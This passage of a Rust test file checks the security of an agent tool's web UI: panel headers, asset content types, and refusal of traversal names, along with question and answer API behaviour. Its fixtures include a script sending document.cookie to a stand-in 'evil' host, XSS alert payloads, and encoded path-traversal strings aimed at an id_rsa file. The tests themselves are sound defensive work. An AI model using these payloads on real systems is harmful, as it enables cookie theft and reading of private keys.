7104 assert!(crate::deputy::can_start(Some(&on), "stub"));
7105 let mut off = on.clone();
7106 off.daemon.max_deputies = 0;
7107 assert!(!crate::deputy::can_start(Some(&off), ""));
7108 let mut empty = on;
7109 empty.agents.clear();
7110 assert!(!crate::deputy::can_start(Some(&empty), ""));
7111 assert!(!crate::deputy::can_start(None, ""));
7112 }
7113
7114 #[test]
7115 fn question_views_load_the_config_once() {
7116 let dir = TempDir::new().unwrap();
7117 let store = ask::Questions::at(dir.path().to_path_buf());
7118 let mut with_deputy = plain_question("b");
7119 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7120 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7121
7122 let calls = std::cell::Cell::new(0usize);
7123 let views = question_views(qs.clone(), &store, || {
7124 calls.set(calls.get() + 1);
7125 Some(stub_config())
7126 });
7127 assert_eq!(calls.get(), 1);
7128 assert_eq!(views.len(), 3);
7129 for (v, q) in views.iter().zip(&qs) {
7130 assert_eq!(
7131 v.deputies_enabled,
7132 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7133 );
7134 }
7135
7136 let views = question_views(qs, &store, || None);
7137 assert!(views.iter().all(|v| !v.deputies_enabled));
7138
7139 let calls = std::cell::Cell::new(0usize);
7140 let views = question_views(Vec::new(), &store, || {
7141 calls.set(calls.get() + 1);
7142 None
7143 });
7144 assert!(views.is_empty());
7145 assert_eq!(calls.get(), 0);
7146 }
7147
7148 use pretty_assertions::assert_eq;
7149 use serde_json::Value;
7150 use tempfile::TempDir;
7151 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7152
7153 use super::*;
7154 use crate::config::Config;
7155 use crate::queue::Source;
7156
7157 const SETTLE_STEPS: usize = 3_000;
7168
7169 struct Fixture {
7175 home: TempDir,
7176 addr: SocketAddr,
7177 }
7178
7179 impl Fixture {
7180 async fn start() -> Self {
7181 Self::with_loop(launch_idle).await
7182 }
7183
7184 async fn with_loop(launch: Launch) -> Self {
7186 let home = TempDir::new().expect("temp home");
7187 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7188 Self { home, addr }
7189 }
7190
7191 async fn with_repo(repo: PathBuf) -> Self {
7195 let home = TempDir::new().expect("temp home");
7196 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7197 Self { home, addr }
7198 }
7199
7200 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7203 let home = TempDir::new().expect("temp home");
7204 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7205 Self { home, addr }
7206 }
7207
7208 async fn serve(
7209 home: &FsPath,
7210 repo: PathBuf,
7211 launch: Launch,
7212 machine: Option<PathBuf>,
7213 ) -> SocketAddr {
7214 let queue = Queue::at(home.join("queue"));
7215 let runs = home.join("runs");
7216 std::fs::create_dir_all(&runs).expect("runs dir");
7217 let worktrees = home.join("wt").join("magi");
7218 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7219 let ui = Ui::new(
7220 queue,
7221 Questions::at(home.join("questions")),
7222 Talks::at(home.join("talks")),
7223 runs,
7224 home.to_path_buf(),
7225 repo,
7226 )
7227 .with_worktrees_root(worktrees)
7228 .with_machine_config(machine)
7229 .with_launch(launch);
7230 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7231 .await
7232 .expect("bind loopback");
7233 let addr = listener.local_addr().expect("local addr");
7234 tokio::spawn(async move {
7235 let _ = axum::serve(listener, ui.router()).await;
7236 });
7237 addr
7238 }
7239
7240 fn queue(&self) -> Queue {
7241 Queue::at(self.home.path().join("queue"))
7242 }
7243
7244 fn questions(&self) -> Questions {
7245 Questions::at(self.home.path().join("questions"))
7246 }
7247
7248 fn talks(&self) -> Talks {
7249 Talks::at(self.home.path().join("talks"))
7250 }
7251
7252 fn runs(&self) -> PathBuf {
7253 self.home.path().join("runs")
7254 }
7255
7256 async fn get(&self, path: &str) -> Res {
7257 request(self.addr, "GET", path, None).await
7258 }
7259
7260 async fn head(&self, path: &str) -> Res {
7265 request(self.addr, "HEAD", path, None).await
7266 }
7267
7268 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7269 request(self.addr, "POST", path, body).await
7270 }
7271
7272 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7273 request_with(self.addr, "GET", path, None, extra).await
7274 }
7275
7276 async fn delete(&self, path: &str) -> Res {
7277 request(self.addr, "DELETE", path, None).await
7278 }
7279
7280 async fn put(&self, path: &str, body: &str) -> Res {
7281 request(self.addr, "PUT", path, Some(body)).await
7282 }
7283
7284 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7286 request_bytes(self.addr, path, headers, body).await
7287 }
7288 }
7289
7290 struct Res {
7291 status: u16,
7292 headers: String,
7293 head: String,
7298 body: String,
7299 bytes: Vec<u8>,
7303 }
7304
7305 impl Res {
7306 fn json(&self) -> Value {
7307 serde_json::from_str(&self.body)
7308 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7309 }
7310
7311 fn header(&self, name: &str) -> Option<&str> {
7313 self.head.lines().find_map(|line| {
7314 let (key, value) = line.split_once(':')?;
7315 key.trim()
7316 .eq_ignore_ascii_case(name)
7317 .then(|| value.trim_start().trim_end_matches('\r'))
7318 })
7319 }
7320 }
7321
7322 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7325 request_with(addr, method, path, body, &[]).await
7326 }
7327
7328 async fn request_with(
7332 addr: SocketAddr,
7333 method: &str,
7334 path: &str,
7335 body: Option<&str>,
7336 extra: &[(&str, &str)],
7337 ) -> Res {
7338 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7339 for (name, value) in extra {
7340 head.push_str(&format!("{name}: {value}\r\n"));
7341 }
7342 if let Some(body) = body {
7343 head.push_str("Content-Type: application/json\r\n");
7344 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7345 }
7346 head.push_str("\r\n");
7347 if let Some(body) = body {
7348 head.push_str(body);
7349 }
7350 let mut socket = tokio::net::TcpStream::connect(addr)
7351 .await
7352 .expect("connect to the test server");
7353 socket
7354 .write_all(head.as_bytes())
7355 .await
7356 .expect("write request");
7357 let mut raw = Vec::new();
7358 socket.read_to_end(&mut raw).await.expect("read response");
7359 let split = raw
7362 .windows(4)
7363 .position(|w| w == b"\r\n\r\n")
7364 .expect("a header block");
7365 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7366 let bytes = raw[split + 4..].to_vec();
7367 let status = head
7368 .lines()
7369 .next()
7370 .and_then(|line| line.split_whitespace().nth(1))
7371 .and_then(|code| code.parse().ok())
7372 .expect("a status line");
7373 Res {
7374 status,
7375 headers: head.to_lowercase(),
7376 head,
7377 body: String::from_utf8_lossy(&bytes).into_owned(),
7378 bytes,
7379 }
7380 }
7381
7382 async fn request_bytes(
7388 addr: SocketAddr,
7389 path: &str,
7390 headers: &[(&str, &str)],
7391 body: &[u8],
7392 ) -> Res {
7393 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7394 for (name, value) in headers {
7395 head.push_str(&format!("{name}: {value}\r\n"));
7396 }
7397 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7398 let mut socket = tokio::net::TcpStream::connect(addr)
7399 .await
7400 .expect("connect to the test server");
7401 socket
7402 .write_all(head.as_bytes())
7403 .await
7404 .expect("write request head");
7405 socket.write_all(body).await.expect("write request body");
7406 let mut raw = Vec::new();
7407 socket.read_to_end(&mut raw).await.expect("read response");
7408 let split = raw
7409 .windows(4)
7410 .position(|w| w == b"\r\n\r\n")
7411 .expect("a header block");
7412 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7413 let bytes = raw[split + 4..].to_vec();
7414 let status = head
7415 .lines()
7416 .next()
7417 .and_then(|line| line.split_whitespace().nth(1))
7418 .and_then(|code| code.parse().ok())
7419 .expect("a status line");
7420 Res {
7421 status,
7422 headers: head.to_lowercase(),
7423 head,
7424 body: String::from_utf8_lossy(&bytes).into_owned(),
7425 bytes,
7426 }
7427 }
7428
7429 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7431 let mut state = RunState::new(
7432 PathBuf::from("/repo/magi"),
7433 "main".to_owned(),
7434 "0123456789abcdef".to_owned(),
7435 "Add a web UI\n\nMobile first.".to_owned(),
7436 Config::default(),
7437 );
7438 state.id = id.to_owned();
7439 state.status = status;
7440 let dir = runs.join(id);
7441 std::fs::create_dir_all(&dir).expect("run dir");
7442 std::fs::write(
7443 dir.join("run.json"),
7444 serde_json::to_string_pretty(&state).expect("serialize run"),
7445 )
7446 .expect("write run.json");
7447 }
7448
7449 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7453 let mut state = RunState::new(
7454 PathBuf::from(repo),
7455 "main".to_owned(),
7456 "0123456789abcdef".to_owned(),
7457 "task".to_owned(),
7458 Config::default(),
7459 );
7460 state.id = id.to_owned();
7461 state.status = status;
7462 let dir = runs.join(id);
7463 std::fs::create_dir_all(&dir).expect("run dir");
7464 std::fs::write(
7465 dir.join("run.json"),
7466 serde_json::to_string_pretty(&state).expect("serialize run"),
7467 )
7468 .expect("write run.json");
7469 }
7470
7471 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7472 let body = serde_json::json!({
7473 "schema": 1,
7474 "pid": 4242,
7475 "started_at": Timestamp::now().to_string(),
7476 "updated_at": updated_at.to_string(),
7477 "idle": false,
7478 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7479 "completed": 7,
7480 "polls": 143,
7481 });
7482 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7483 }
7484
7485 fn launch_idle(
7495 _opts: daemon::Opts,
7496 stop: daemon::Stop,
7497 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7498 Box::pin(async move {
7499 while !stop.stopped() {
7500 tokio::time::sleep(Duration::from_millis(2)).await;
7501 }
7502 Ok(())
7503 })
7504 }
7505
7506 fn launch_broken(
7509 _opts: daemon::Opts,
7510 _stop: daemon::Stop,
7511 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7512 Box::pin(async {
7513 Err(anyhow::anyhow!(
7514 "publish the daemon status file: read-only file system"
7515 ))
7516 })
7517 }
7518
7519 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7526 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7527
7528 fn launch_knocking_on_the_way_out(
7535 _opts: daemon::Opts,
7536 stop: daemon::Stop,
7537 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7538 Box::pin(async move {
7539 while !stop.stopped() {
7540 tokio::time::sleep(Duration::from_millis(2)).await;
7541 }
7542 let addr = PARK_KNOCK
7543 .lock()
7544 .expect("park knock")
7545 .expect("the test set an address");
7546 let heard = request(addr, "GET", "/api/health", None).await.status;
7547 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7548 Ok(())
7549 })
7550 }
7551
7552 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7561 for _ in 0..SETTLE_STEPS {
7562 let view = fx.get("/api/loop").await.json();
7563 if want(&view) {
7564 return view;
7565 }
7566 tokio::time::sleep(Duration::from_millis(10)).await;
7567 }
7568 panic!(
7569 "the loop never settled: {}",
7570 fx.get("/api/loop").await.json()
7571 );
7572 }
7573
7574 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7576 let store = fx.questions();
7577 let mut q = Question::new(
7578 "20260902-000000-beef".to_owned(),
7579 "implement".to_owned(),
7580 "impl-A".to_owned(),
7581 summary.to_owned(),
7582 "because it matters".to_owned(),
7583 choices.iter().map(|c| (*c).to_owned()).collect(),
7584 );
7585 store.put(&mut q).expect("put question");
7586 q.id
7587 }
7588
7589 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7595 let store = fx.questions();
7596 let mut q = Question::new(
7597 "20260902-000000-beef".to_owned(),
7598 "land".to_owned(),
7599 "fix".to_owned(),
7600 "Merge this?".to_owned(),
7601 "the diff is in the panel".to_owned(),
7602 vec!["merge".to_owned(), "hold".to_owned()],
7603 );
7604 let staging = fx.home.path().join("staging");
7607 std::fs::create_dir_all(&staging).expect("staging dir");
7608 let sources: Vec<PathBuf> = assets
7609 .iter()
7610 .map(|(name, bytes)| {
7611 let path = staging.join(name);
7612 std::fs::write(&path, bytes).expect("write staged asset");
7613 path
7614 })
7615 .collect();
7616 store
7617 .put_panel(&mut q, html, &sources)
7618 .expect("write the panel");
7619 store.put(&mut q).expect("put question");
7620 q.id
7621 }
7622
7623 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7632 seed_talk_at(&fx.talks(), id, status)
7633 }
7634
7635 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7636 std::fs::create_dir_all(store.root()).expect("talks dir");
7637 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7638 .expect("serialize a seat");
7639 let body = serde_json::json!({
7640 "schema": 1,
7641 "id": id,
7642 "repo": "/repo/magi",
7643 "agent": "mock",
7644 "status": status,
7645 "turns": [],
7646 "created_at": Timestamp::now().to_string(),
7647 "updated_at": Timestamp::now().to_string(),
7648 "seat": seat,
7649 });
7650 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7651 store.get(id).expect("the seeded talk has to be readable");
7652 id.to_owned()
7653 }
7654
7655 #[tokio::test]
7656 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7657 let fx = Fixture::start().await;
7658 let id = panel(
7659 &fx,
7660 "<h1>Merge?</h1><img src=\"diff.svg\">",
7661 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7662 );
7663
7664 for path in [
7665 format!("/api/questions/{id}/panel"),
7666 format!("/api/questions/{id}/asset/diff.svg"),
7667 ] {
7668 let res = fx.get(&path).await;
7669 assert_eq!(res.status, 200, "{path}: {}", res.body);
7670 assert_eq!(
7676 res.header("content-security-policy"),
7677 Some(
7678 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7679 font-src data:; base-uri 'none'; form-action 'none'; \
7680 frame-ancestors 'self'"
7681 ),
7682 "{path} is the only thing between a hostile panel and the tailnet"
7683 );
7684 assert_eq!(
7685 res.header("x-content-type-options"),
7686 Some("nosniff"),
7687 "{path}: a browser must not re-decide the type we sent"
7688 );
7689 assert_eq!(
7690 res.header("referrer-policy"),
7691 Some("no-referrer"),
7692 "{path}: a panel must not leak the question id off the machine"
7693 );
7694
7695 let pre = fx.head(&path).await;
7700 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7701 assert_eq!(
7702 pre.header("content-security-policy"),
7703 res.header("content-security-policy"),
7704 "{path}: the preflight carries the same policy"
7705 );
7706 assert_eq!(
7707 pre.header("content-type"),
7708 res.header("content-type"),
7709 "{path}: the preflight carries the same type"
7710 );
7711 }
7712 }
7713
7714 #[tokio::test]
7715 async fn a_panel_reaches_the_browser_byte_for_byte() {
7716 let fx = Fixture::start().await;
7717 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7722 let id = panel(&fx, html, &[]);
7723
7724 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7725
7726 assert_eq!(res.status, 200);
7727 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7728 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7729 assert_eq!(
7730 res.header("content-disposition"),
7731 None,
7732 "the panel itself is rendered in the frame, not downloaded"
7733 );
7734 }
7735
7736 #[tokio::test]
7737 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7738 let fx = Fixture::start().await;
7739 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7740 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7741 let id = panel(
7742 &fx,
7743 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7744 &[("diff.svg", svg), ("shot.png", png)],
7745 );
7746
7747 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7748 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7749
7750 assert_eq!(as_svg.status, 200);
7751 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7752 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7757
7758 assert_eq!(as_png.status, 200);
7759 assert_eq!(as_png.header("content-type"), Some("image/png"));
7760 assert_eq!(
7761 as_png.header("content-disposition"),
7762 None,
7763 "a raster image has no execution surface, so tapping it still shows it"
7764 );
7765 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7766 }
7767
7768 #[tokio::test]
7769 async fn an_html_asset_is_never_served_as_html() {
7770 let fx = Fixture::start().await;
7771 let id = panel(
7772 &fx,
7773 "<p>see the notes</p>",
7774 &[
7775 (
7776 "notes.html",
7777 b"<script>fetch('http://evil/'+document.cookie)</script>",
7778 ),
7779 ("hook.js", b"fetch('http://evil/')"),
7780 ("data.json", b"{}"),
7781 ("HEADLINE.TXT", b"plain"),
7782 ],
7783 );
7784
7785 for name in ["notes.html", "hook.js", "data.json"] {
7786 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7787 assert_eq!(res.status, 200, "{name}: {}", res.body);
7788 assert_eq!(
7793 res.header("content-type"),
7794 Some("application/octet-stream"),
7795 "{name} must not be a type the browser will execute or render"
7796 );
7797 }
7798 let txt = fx
7801 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7802 .await;
7803 assert_eq!(
7804 txt.header("content-type"),
7805 Some("text/plain; charset=utf-8")
7806 );
7807 }
7808
7809 #[tokio::test]
7810 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7811 let fx = Fixture::start().await;
7812 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7813 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7817
7818 for encoded in [
7825 "%2e%2e%2fid_rsa",
7826 "..%2fid_rsa",
7827 "..%5cid_rsa",
7828 "%2e%2e%5cid_rsa",
7829 "diff%00.svg",
7830 "..",
7831 ".hidden",
7832 "%2e%2e%2f%2e%2e%2fid_rsa",
7833 ] {
7834 let res = fx
7835 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7836 .await;
7837 assert_eq!(
7838 res.status, 400,
7839 "`{encoded}` has to be refused by name, not looked up: {}",
7840 res.body
7841 );
7842 assert!(res.json()["error"].is_string(), "{}", res.body);
7843 }
7844
7845 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7851 let res = fx
7852 .get(&format!("/api/questions/{id}/asset/{literal}"))
7853 .await;
7854 assert_eq!(
7855 res.status, 404,
7856 "`{literal}` must not match the asset route at all: {}",
7857 res.body
7858 );
7859 }
7860 }
7861
7862 #[tokio::test]
7863 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7864 let fx = Fixture::start().await;
7865 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7866 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7867
7868 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7872 assert_eq!(none.status, 404, "{}", none.body);
7873 assert!(none.json()["error"].is_string(), "{}", none.body);
7874 assert_eq!(
7875 fx.head(&format!("/api/questions/{plain}/panel"))
7876 .await
7877 .status,
7878 404,
7879 "the preflight is the only way the client can learn this"
7880 );
7881
7882 let missing = fx
7884 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7885 .await;
7886 assert_eq!(missing.status, 404, "{}", missing.body);
7887 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7888
7889 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7891 assert_eq!(
7892 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7893 404
7894 );
7895 }
7896
7897 #[tokio::test]
7898 async fn a_run_with_an_open_question_reads_as_waiting() {
7899 let fx = Fixture::start().await;
7900 let run = "20260902-000000-beef".to_owned();
7901 write_run(&fx.runs(), &run, RunStatus::Implementing);
7902
7903 let before = fx.get("/api/runs").await.json();
7904 assert_eq!(before[0]["waiting"], false, "{before}");
7905
7906 let store = fx.questions();
7907 let mut q = Question::new(
7908 run.clone(),
7909 "implement".to_owned(),
7910 "impl-A".to_owned(),
7911 "Which backend?".to_owned(),
7912 String::new(),
7913 vec!["SQLite".to_owned()],
7914 );
7915 store.put(&mut q).expect("put");
7916
7917 let during = fx.get("/api/runs").await.json();
7918 assert_eq!(during[0]["waiting"], true, "{during}");
7919
7920 q.answer(Answer::Choice("SQLite".to_owned()))
7923 .expect("answer");
7924 store.put(&mut q).expect("put");
7925 let after = fx.get("/api/runs").await.json();
7926 assert_eq!(after[0]["waiting"], false, "{after}");
7927 }
7928
7929 #[tokio::test]
7930 async fn an_open_question_is_listed_and_counted_by_health() {
7931 let fx = Fixture::start().await;
7932 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7933
7934 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7935 let listed = fx.get("/api/questions").await.json();
7936 assert_eq!(listed.as_array().expect("array").len(), 1);
7937 assert_eq!(listed[0]["id"], id);
7938 assert_eq!(listed[0]["status"], "open");
7939 assert_eq!(listed[0]["choices"][1], "Redis");
7940 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7943 }
7944
7945 #[tokio::test]
7946 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7947 let fx = Fixture::start().await;
7948 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7949 let path = format!("/api/questions/{id}/answer");
7950
7951 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7952 assert_eq!(res.status, 200, "{}", res.body);
7953 let body = res.json();
7954 assert_eq!(body["status"], "answered");
7955 assert_eq!(body["answer"]["choice"], "Redis");
7956
7957 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7961 assert_eq!(again.status, 409, "{}", again.body);
7962 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7963 }
7964
7965 #[tokio::test]
7966 async fn saying_something_appends_a_turn_without_answering() {
7967 let fx = Fixture::start().await;
7968 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7969 let path = format!("/api/questions/{id}/say");
7970
7971 let res = fx
7972 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7973 .await;
7974 assert_eq!(res.status, 200, "{}", res.body);
7975 let body = res.json();
7976 assert_eq!(body["status"], "open", "talking back is not a decision");
7977 assert_eq!(body["answer"], Value::Null);
7978 assert_eq!(body["thread"][0]["who"], "operator");
7979 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7980 assert_eq!(body["waiting_on_agent"], true);
7981 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7983 }
7984
7985 #[tokio::test]
7986 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7987 let fx = Fixture::start().await;
7988 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7989
7990 let list = fx.get("/api/questions").await.json();
7991 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7992
7993 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7994 assert_eq!(res.status, 409, "{}", res.body);
7995 let q = fx.questions().get(&id).unwrap();
7996 assert!(q.status.open());
7997 assert!(q.consult.is_none());
7998 }
7999
8000 #[tokio::test]
8001 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8002 let fx = Fixture::start().await;
8003 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8004 let cfg = Config {
8005 agents: vec![crate::config::AgentSpec {
8006 id: "mock".to_owned(),
8007 kind: crate::config::AgentKind::Command,
8008 model: None,
8009 command: vec!["true".to_owned()],
8010 extra_args: Vec::new(),
8011 env: Default::default(),
8012 prompt_delivery: None,
8013 }],
8014 ..Config::default()
8015 };
8016 let talk = crate::talk::begin(
8017 &fx.talks(),
8018 &cfg,
8019 fx.home.path().to_path_buf(),
8020 Some("mock"),
8021 )
8022 .unwrap();
8023 let mut task = Task::new(
8024 "t".to_owned(),
8025 "Do it".to_owned(),
8026 PathBuf::from("/repo/magi"),
8027 Source::Agent {
8028 run: talk.id.clone(),
8029 node: crate::queue::CHAT_NODE.to_owned(),
8030 },
8031 );
8032 task.start("20260902-000000-beef".to_owned());
8033 fx.queue().put(&mut task).unwrap();
8034
8035 let list = fx.get("/api/questions").await.json();
8036 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8037 assert_eq!(
8038 list[0]["choices"],
8039 serde_json::json!(["SQLite", "Redis"]),
8040 "the hand-over is never a choice"
8041 );
8042 let _ = id;
8043 }
8044
8045 #[tokio::test]
8046 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8047 let fx = Fixture::start().await;
8048 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8049 let cfg = Config {
8050 agents: vec![crate::config::AgentSpec {
8051 id: "mock".to_owned(),
8052 kind: crate::config::AgentKind::Command,
8053 model: None,
8054 command: vec!["true".to_owned()],
8055 extra_args: Vec::new(),
8056 env: Default::default(),
8057 prompt_delivery: None,
8058 }],
8059 ..Config::default()
8060 };
8061 let repo = fx.home.path().join("chat-repo");
8063 std::fs::create_dir_all(&repo).unwrap();
8064 let toml = repo.join("magi.toml");
8065 std::fs::write(&toml, "this is = = not toml").unwrap();
8066 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8067 let mut task = Task::new(
8068 "t".to_owned(),
8069 "Do it".to_owned(),
8070 PathBuf::from("/repo/magi"),
8071 Source::Agent {
8072 run: talk.id.clone(),
8073 node: crate::queue::CHAT_NODE.to_owned(),
8074 },
8075 );
8076 task.start("20260902-000000-beef".to_owned());
8077 fx.queue().put(&mut task).unwrap();
8078
8079 let path = format!("/api/questions/{id}/consult");
8080 let res = fx.post(&path, None).await;
8081 assert!(res.status >= 400, "{}", res.body);
8082 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8083 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8084
8085 std::fs::write(&toml, "").unwrap();
8086 let res = fx.post(&path, None).await;
8087 assert_eq!(res.status, 202, "{}", res.body);
8088 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8089 }
8090
8091 #[tokio::test]
8092 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8093 let fx = Fixture::start().await;
8094 let store = fx.questions();
8095 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8096 assert_eq!(
8097 fx.get("/api/health").await.json()["questions_needs_owner"],
8098 1
8099 );
8100
8101 let res = fx
8107 .post(
8108 &format!("/api/questions/{id}/say"),
8109 Some(r#"{"body":"why not Postgres?"}"#),
8110 )
8111 .await;
8112 assert_eq!(res.status, 200, "{}", res.body);
8113 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8114 assert_eq!(
8115 fx.get("/api/health").await.json()["questions_needs_owner"],
8116 0,
8117 "waiting on the agent is not waiting on the owner"
8118 );
8119
8120 let mut q = store.get(&id).expect("get");
8124 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8125 .expect("reply");
8126 store.put(&mut q).expect("put");
8127 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8128 assert_eq!(
8129 fx.get("/api/health").await.json()["questions_needs_owner"],
8130 1,
8131 "the agent's reply is what should light the banner back up"
8132 );
8133 }
8134
8135 #[tokio::test]
8136 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8137 let fx = Fixture::start().await;
8138 let store = fx.questions();
8139
8140 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8141 let res = fx
8142 .post(
8143 &format!("/api/questions/{empty_id}/say"),
8144 Some(r#"{"body":" "}"#),
8145 )
8146 .await;
8147 assert_eq!(res.status, 400, "{}", res.body);
8148
8149 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8150 let mut answered = store.get(&answered_id).expect("get");
8151 answered
8152 .answer(Answer::Choice("SQLite".to_owned()))
8153 .expect("answer");
8154 store.put(&mut answered).expect("put");
8155 let res = fx
8156 .post(
8157 &format!("/api/questions/{answered_id}/say"),
8158 Some(r#"{"body":"still there?"}"#),
8159 )
8160 .await;
8161 assert_eq!(res.status, 409, "{}", res.body);
8162
8163 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8164 let mut abandoned = store.get(&abandoned_id).expect("get");
8165 abandoned.abandon("timed out");
8166 store.put(&mut abandoned).expect("put");
8167 let res = fx
8168 .post(
8169 &format!("/api/questions/{abandoned_id}/say"),
8170 Some(r#"{"body":"still there?"}"#),
8171 )
8172 .await;
8173 assert_eq!(res.status, 409, "{}", res.body);
8174 }
8175
8176 #[tokio::test]
8177 async fn an_answer_the_question_does_not_offer_is_refused() {
8178 let fx = Fixture::start().await;
8179 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8180 let path = format!("/api/questions/{id}/answer");
8181
8182 for body in [
8183 r#"{"choice":"Postgres"}"#,
8184 r#"{"text":"whatever you think"}"#,
8185 r#"{"choice":"Redis","text":"both"}"#,
8186 r#"{}"#,
8187 ] {
8188 let res = fx.post(&path, Some(body)).await;
8189 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8190 assert!(res.json()["error"].is_string(), "{}", res.body);
8191 }
8192 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8194 }
